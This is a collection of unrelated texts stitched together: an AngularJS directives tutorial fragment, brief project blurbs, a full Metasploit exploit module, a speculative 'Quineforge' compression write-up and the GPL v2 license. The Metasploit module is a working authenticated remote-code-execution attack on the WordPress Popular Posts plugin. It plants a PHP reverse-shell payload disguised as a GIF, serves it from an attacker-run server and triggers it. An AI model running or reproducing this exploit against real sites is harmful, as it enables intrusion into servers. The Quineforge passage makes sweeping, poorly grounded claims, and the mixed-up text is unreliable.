our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes.

A quick calculator app in the style of Numi and Soulver. Use it to count calories, tips, or anything else.

With RegEx, you can find ready-made full functioning regex solutions to many thing we usually struggle to "regex". It is a good replacement for php preg. It provides an interface to test a regex, perform match, replace, perform a deep replace, split a string, count words in a string, find ocuurences of a regex in anything(e.g. find a url in an email), perform a javascript-like regex.test() function.

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Atmega328P-PU Interrupts and pulse counting. Don't try to read anything because you will get cancer.

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen end end

A quine is a software which outputs its own source code. Quineforge is a very experimental data format for the lossless compression of quines and for translating all possible non-quines (such as pictures of cats, videos, games, GPU matrix multiply algorithms, or nearly anything) into quine form. It uses the (wikipedia page) Chain_rule_for_Kolmogorov_complexity and a 5-way gametree (like a chess or go gametree) to navigate the space of all possible lambda functions. Its security level is planned to be, eventually after the bugs are worked out, enough for the operation of industrial machines and low lag enough to satisfy hardcore gamers. TODO I should copy some of the "fntape" (5 way tree) theory from occamsfuncer readme and various parts of kolmogorov theory. Basically, for example, if we are using sha3_256 (with some pre and post processing of a merkle forest node (or its faster lazy merkle form), then at some few points in a sequence of bits will occur those 256 bits, and the 256 bit ids of other functions, sparsely, and between those are 1 bit at a time opcodes (or 3 or 4 bit opcodes, or something like that), with some opcodes being to say that what follows is a variable size number of 1 bits followed by a 0 bit, then a powOf2 number of bits is a complete binary tree of bits (cbt) which is a lambda function of Lx.Ly.Lz.zxy aka the church encoding of the pair function whose "leafs" are Lx.Ly.x (true) and Lx.L.y.y (false), which goes into the "register" of "fntape" which is basically a lambda datastruct of 2 linkedlists with 5 possible actions from each possible state: move turingtape left (whose cell contents are each a function), move it right, copy register to center of tape, copy center of tape to register, or (heres the only turing complete part) call register on whats at center of turing tape and replace register with what that returns (and using various statistical methods if there is an infinite loop or other nonhalting lambda call it will be given up on quickly before that happens, within some approx specified low lag limits, but compressed forms are expected not to have nonhalters or overly expensive operations etc else they are not shared in the network as often as cheaper faster more useful data structures). So basically theres a bunch of functions, in the space of all possible lambda functions sparsely explored among many computers and people (some of which may be cat memes, minigames, compressed random bitstrings, or whatever) and fntape kind of opcodes aka small bitstrings from one id256 to another id256 such as to say its left child (a few bits of fntape) or its right child etc, or various combinator on eachother, leads to what else. Its a space where, as the name quineforge implies, the distance of bitstring from any function, or from any small set of functions, to any other function, has bigO that is certainly within the distance predicted by kolmogorov complexity theory and which in practice may be able to compete with zip files, 7z files, wavelet sound compression, neuralnet video compression, AIXI compression, andOr any other imaginable kind of compression, and trading compression efficiency for low lag and scalability etc, you might build low lag high voxel count massively multiplayer games with it, or various experiments somewhere within that.

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If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License.